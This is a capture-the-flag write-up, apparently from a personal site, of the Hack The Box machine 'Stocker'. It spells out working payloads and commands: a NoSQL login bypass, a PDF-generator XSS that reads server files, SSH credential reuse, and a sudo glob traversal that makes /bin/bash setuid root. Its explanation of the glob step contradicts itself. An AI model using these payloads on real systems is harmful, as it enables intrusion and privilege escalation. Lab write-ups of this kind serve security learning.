~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / stocker.md

stocker

Linux · Easy · released 2023-01-14 · retired 2023-06-24

Summary

Stocker is an Easy Linux box: NoSQL auth bypass on the dev.stocker.htb login ({"$ne": null}) → admin → server-side XSS in the order-PDF generator (Chromium with --no-sandbox) reads /var/www/dev/index.js → mongo creds reused for angoose SSH. Privesc: sudo node /usr/local/scripts/*.js — shell glob expands to attacker-controlled path via ../../../tmp/x.js.

Operational note: the writeup-canonical vhost name is stock.stocker.htb, but on the actual box the Express app binds to dev.stocker.htb (the stock subdomain redirects to the static “Coming Soon” landing). Set /etc/hosts for both.

The chain:

  1. POST /login with {"username":{"$ne":null},"password":{"$ne":null}} → admin session cookie.
  2. Order form: name field renders into the PDF via headless Chromium. Inject <script>fetch('file:///var/www/dev/index.js')...</script> → exfil source → <MONGO_PW> reused for angoose SSH.
  3. sudo -l(root) /usr/bin/node /usr/local/scripts/*.js. Glob expands at the shell — not in sudoers — so /usr/local/scripts/../../tmp/x.js matches.
  4. Drop /tmp/x.js with child_process.execSync('chmod +s /bin/bash')bash -p → root.

Recon

22/tcp     OpenSSH
80/tcp     nginx (default → "site under construction")
+ vhost: stock.stocker.htb (Express)

Foothold — NoSQL bypass + SSXSS

curl -X POST -H 'Host: dev.stocker.htb' -H 'Content-Type: application/json' \
     -d '{"username":{"$ne":null},"password":{"$ne":null}}' \
     -c jar.txt http://<TARGET>/login
# 302 → /stock; session cookie issued

Submit an order whose basket[].title is an iframe that loads the source file directly. fetch() + document.write is fragile in puppeteer’s PDF renderer because the document serializes before async fetches resolve; an <iframe> whose src=file://... is loaded synchronously into the DOM and captured in the PDF rasterization:

<script>
document.write(unescape(
  '%3Ciframe%20src%3D%22file%3A%2F%2F%2Fvar%2Fwww%2Fdev%2Findex.js%22%20width%3D%22800%22%20height%3D%22800%22%3E%3C%2Fiframe%3E'
));
</script>
curl -b jar.txt -H 'Host: dev.stocker.htb' \
     -H 'Content-Type: application/json' \
     -X POST -d @order.json http://<TARGET>/api/order
# → {"success":true,"orderId":"<24-hex>"}

curl -b jar.txt -H 'Host: dev.stocker.htb' \
     http://<TARGET>/api/po/<orderId> -o order.pdf
pdftotext order.pdf - | grep -A2 dbURI
# const dbURI = "mongodb://dev:<MONGO_PW>@localhost/dev?authSource=admin&w=1"

The leaked index.js shows the mongo connection string with plaintext credentials. Password reuse for SSH:

ssh angoose@<TARGET>   # password = <MONGO_PW>
# user.txt in ~/

Privesc — sudo node + glob expansion

$ sudo -l
(ALL) /usr/bin/node /usr/local/scripts/*.js
# Note: not NOPASSWD — angoose's password (the same one) is required.

$ cat > /tmp/x.js <<'EOF'
require('child_process').execSync('chmod 4755 /bin/bash');
EOF
$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/x.js
$ /bin/bash -p   # uid=1001, euid=0
# cat /root/root.txt

The shell expands *.js before sudo evaluates the rule, so a path like /usr/local/scripts/../../../tmp/x.js lexically matches the *.js glob in sudoers but resolves to /tmp/x.js at execve time. sudo matches on the literal argv string, not the canonicalized path.

Why each step worked

Counterfactuals

References

← all htb machines hackthebox.com ↗